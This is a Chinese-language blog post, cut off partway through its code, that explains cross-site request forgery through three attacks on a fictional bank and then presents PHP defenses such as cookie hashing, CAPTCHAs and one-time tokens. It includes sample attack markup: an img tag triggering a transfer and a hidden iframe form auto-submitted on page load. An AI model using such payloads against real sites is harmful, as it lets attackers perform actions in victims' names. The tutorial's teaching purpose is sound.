GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/01/04/89162.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89162.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/01/04/89162.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89162.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89162.html</trackback:ping><description><![CDATA[<div><p><span style="font-size: large;"><strong>一.CSRF是什么？</strong></span></p> <p>　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。</p> <p><span style="font-size: large;"><strong>二.CSRF可以做什么？</strong></span></p> <p>　　你这可以这么理解CSRF攻击：<span style="color: #ff0000;">攻击者盗用了你的身份，以你的名义发送恶意请求</span>。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。</p> <p><span style="font-size: large;"><strong>三.CSRF漏洞现状</strong></span></p> <p>　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别 爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而 现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为&#8220;沉睡的巨人&#8221;。</p> <p><span style="font-size: large;"><strong>四.CSRF的原理</strong></span></p> <p>　　下图简单阐述了CSRF攻击的思想：</p> <p>　　<img style="width: 844px;" src="http://pic002.cnblogs.com/img/hyddd/200904/2009040916453171.jpg" height="498" width="884"  alt="" /></p> <p>　　从上图可以看出，要完成一次CSRF攻击，<span style="color: #0000ff;">受害者必须依次完成两个步骤</span>：</p> <p>　　1.<span style="color: #0000ff;">登录受信任网站A，并在本地生成Cookie</span>。</p> <p>　　2.<span style="color: #0000ff;">在不登出A的情况下，访问危险网站B</span>。</p> <p>　　看到这里，你也许会说：&#8220;<span style="color: #0000ff;">如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击</span>&#8221;。是的，确实如此，但你不能保证以下情况不会发生：</p> <p>　　1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。</p> <p>　　2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）</p> <p>　　3.上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。</p> <p>&nbsp;</p> <p>　　上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:&gt;）</p> <p><strong>　　<span style="font-size: medium;">示例1：</span></strong></p> <p>　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</p> <p>　　危险网站B，它里面有一段HTML的代码如下：</p> <div><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">img&nbsp;</span><span style="color: #FF0000;">src</span><span style="color: #0000FF;">=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</span><span style="color: #0000FF;">&gt;</span></div> <p>　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......</p> <p>　　为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中 的&lt;img&gt;以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏 览器会带上你的银行网站A的Cookie发出Get请求，去获取资源&#8220;http://www.mybank.com /Transfer.php?toBankId=11&amp;money=1000&#8221;，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账 操作），所以就立刻进行转账操作......</p> <p>　　<span style="font-size: medium;"><strong>示例2：</strong></span></p> <p>　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。</p> <p>　　银行网站A的WEB表单如下：　　</p> <div><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">form&nbsp;</span><span style="color: #FF0000;">action</span><span style="color: #0000FF;">="Transfer.php"</span><span style="color: #FF0000;">&nbsp;method</span><span style="color: #0000FF;">="POST"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;">ToBankId:&nbsp;</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="toBankId"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;">Money:&nbsp;</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="money"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="submit"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="</span><span style="color: #0000FF;">Transfer</span><span style="color: #0000FF;">"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">form</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span></div> <p>　　后台处理页面Transfer.php如下：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #008080;">　　　　session_start</span><span style="color: #000000;">();<br /></span><span style="color: #0000FF;">　　　　if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">　</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]))<br />　　　　{<br />　　　　&nbsp;&nbsp;&nbsp; buy_stocks(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]</span><span style="color: #000000;">,</span><span style="color: #000000;">　</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br />　　　　}<br /></span><span style="color: #000000;">　　?&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　危险网站B，仍然只是包含那句HTML代码：</p> <div><span style="color: #000000;">　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">img&nbsp;</span><span style="color: #FF0000;">src</span><span style="color: #0000FF;">=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</span><span style="color: #0000FF;">&gt;</span></div> <p>　　和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的 原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成 了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST 请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。</p> <p>　　<span style="font-size: medium;"><strong>示例3：</strong></span></p> <p>　　经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />　　　　</span><span style="color: #008080;">session_start</span><span style="color: #000000;">();<br />　　　　</span><span style="color: #0000FF;">if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">　</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]))<br />　　　　{<br />　　　　&nbsp;&nbsp;&nbsp;&nbsp;buy_stocks(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]</span><span style="color: #000000;">,</span><span style="color: #000000;">　</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br />　　　　}<br />　　</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　然而，危险网站B与时俱进，它改了一下代码：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">html</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">head</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span>　　　　<span style="color: #0000FF;">&lt;</span><span style="color: #800000;">script&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text/javascript"</span><span style="color: #0000FF;">&gt;</span><span style="background-color: #F5F5F5; color: #000000;"><br /></span><span style="background-color: #F5F5F5; color: #0000FF;">　　　　　　function</span><span style="background-color: #F5F5F5; color: #000000;">&nbsp;steal()<br />　　　　　　{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　　　 iframe&nbsp;</span><span style="background-color: #F5F5F5; color: #000000;">=</span><span style="background-color: #F5F5F5; color: #000000;">&nbsp;document.frames[</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">steal</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">];<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; iframe.document.Submit(</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">transfer</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">);<br />　　　　　　}<br /></span><span style="color: #0000FF;">　　　　&lt;/</span><span style="color: #800000;">script</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">head</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /><br />　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">body&nbsp;</span><span style="color: #FF0000;">onload</span><span style="color: #0000FF;">="steal()"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　</span><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">iframe&nbsp;</span><span style="color: #FF0000;">name</span><span style="color: #0000FF;">="steal"</span><span style="color: #FF0000;">&nbsp;display</span><span style="color: #0000FF;">="none"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　　　&lt;</span><span style="color: #800000;">form&nbsp;</span><span style="color: #FF0000;">method</span><span style="color: #0000FF;">="POST"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="transfer"</span><span style="color: #FF0000;">　action</span><span style="color: #0000FF;">="http://www.myBank.com/Transfer.php"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="hidden"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="toBankId"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="11"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="hidden"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="money"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="1000"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　</span><span style="color: #0000FF;">&lt;/</span><span style="color: #800000;">form</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;/</span><span style="color: #800000;">iframe</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">body</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">&lt;/</span><span style="color: #800000;">html</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!</p> <p>　　总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一 个&lt;img&gt;就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了 CSRF攻击，后果都有可能很严重。</p> <p>　　理解上面的3种攻击模式，其实可以看出，<span style="color: #ff0000;">CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的</span>！</p> <p><span style="font-size: large;"><strong>五.CSRF的防御</strong></span></p> <p>　　我总结了一下看到的资料，CSRF的防御可以从<span style="color: #3366ff;">服务端</span>和<span style="color: #3366ff;">客户端</span>两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。</p> <p>　　<span style="font-size: medium;"><strong>1.服务端进行CSRF防御</strong></span></p> <p>　　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面<span style="color: #ff0000;">增加伪随机数</span>。</p> <p>　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：</p> <p>　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:&gt;</p> <div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #008000;">　　　　//</span><span style="color: #008000;">构造加密的Cookie信息</span><span style="color: #008000;"><br /></span><span style="color: #800080;">　　　　$value</span>&nbsp;<span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;&#8220;DefenseSCRF&#8221;;<br /></span><span style="color: #008080;">　　　　setcookie</span><span style="color: #000000;">(&#8221;cookie&#8221;</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #800080;">$value</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #008080;">time</span><span style="color: #000000;">()</span><span style="color: #000000;">+</span><span style="color: #000000;">3600</span><span style="color: #000000;">);<br /></span><span style="color: #000000;">　　?&gt;<br /></span></div> <p>　　在表单里增加Hash值，以认证这确实是用户发送的请求。</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php</span><span style="color: #008000;"><br /></span><span style="color: #800080;">　　　　$hash</span>&nbsp;<span style="color: #000000;">=</span>&nbsp;<span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #800080;">$_COOKIE</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">cookie</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br /></span><span style="color: #000000;">　　?&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　&lt;</span><span style="color: #000000;">form&nbsp;method</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;POST&#8221;&nbsp;action</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;transfer</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;toBankId&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;money&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;hidden&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;hash&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;</span><span style="color: #000000;">&lt;?=</span><span style="color: #800080;">$hash</span><span style="color: #000000;">;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;">&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;Submit&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　&lt;/</span><span style="color: #000000;">form</span><span style="color: #000000;">&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　然后在服务器端进行Hash值验证</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #000000;">　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #0000FF;">if</span><span style="color: #000000;">(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">check</span><span style="color: #000000;">'</span><span style="color: #000000;">]))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #800080;">$hash</span>&nbsp;<span style="color: #000000;">=</span>&nbsp;<span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #800080;">$_COOKIE</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">cookie</span><span style="color: #000000;">'</span><span style="color: #000000;">]);</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 </span><span style="color: #0000FF;">if</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">check</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">==</span>&nbsp;<span style="color: #800080;">$hash</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 doJob();<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;</span><span style="color: #0000FF;">else</span><span style="color: #000000;">&nbsp;{<br />　　　　　　　　//...</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 }<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;</span><span style="color: #0000FF;">else</span><span style="color: #000000;">&nbsp;{<br />　　　　　　//...</span><span style="color: #000000;"><br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就 另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法。<br />　　(2).验证码</p> <p>　　这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄....这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。</p> <p>　　(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)</p> <p>　　在实现One-Time  Tokens时，需要注意一点：就是&#8220;并行会话的兼容&#8221;。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提 交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单 都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。</p> <p>　　以下我的实现:</p> <p>　　1).先是令牌生成函数(gen_token())：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">function</span><span style="color: #000000;">&nbsp;gen_token()&nbsp;{<br /></span> <span style="color: #008000;">　　　　//这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。<br />　　　　//这个可以参考我写的Findbugs笔记中的<a href="http://www.cnblogs.com/hyddd/articles/1391737.html">《Random object created and used only once》</a><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$token</span>&nbsp;<span style="color: #000000;">=</span> <span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #008080;">uniqid</span><span style="color: #000000;">(</span><span style="color: #008080;">rand</span><span style="color: #000000;">()</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #0000FF;">true</span><span style="color: #000000;">));</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">return</span>&nbsp;<span style="color: #800080;">$token</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　2).然后是Session令牌生成函数(gen_stoken())：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">　　function</span><span style="color: #000000;">&nbsp;gen_stoken()&nbsp;{<br /></span>　　　　　　<span style="color: #800080;">$pToken = ""</span><span style="color: #000000;">;</span><br /><span style="color: #000000;">　　　　　　if(</span><span style="color: #800080;">$_SESSION</span><span style="color: #000000;">[STOKEN_NAME]&nbsp; == </span><span style="color: #800080;">$pToken</span><span style="color: #000000;">){<br />　　　　　　　　//没有值，赋新值<br />　　　　　　</span><span style="color: #800080;">　　$_SESSION</span><span style="color: #000000;">[STOKEN_NAME]&nbsp;</span><span style="color: #000000;">=</span> <span style="color: #000000;">gen_token()</span><span style="color: #000000;">;</span><br /><span style="color: #000000;">　　　　　　}&nbsp;&nbsp;&nbsp; <br />　　　　　　else{<br />　　　　　　　　//继续使用旧的值<br />　　　　　　}</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　3).WEB表单生成隐藏输入域的函数：　　</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php<br />　　&nbsp;&nbsp;&nbsp;&nbsp; function gen_input() {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp; gen_stoken();<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &#8220;&lt;input type=\&#8221;hidden\&#8221; name=\&#8221;" . FTOKEN_NAME . &#8220;\&#8221;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp; value=\&#8221;" . $_SESSION[STOKEN_NAME] . &#8220;\&#8221;&gt; &#8220;;<br />&nbsp;&nbsp;&nbsp;&nbsp; 　　}<br />&nbsp;&nbsp;&nbsp;&nbsp; ?&gt;<br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　4).WEB表单结构：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">session_start</span><span style="color: #000000;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">include</span><span style="color: #000000;">(&#8221;functions</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">form&nbsp;method</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;POST&#8221;&nbsp;action</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;transfer</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: 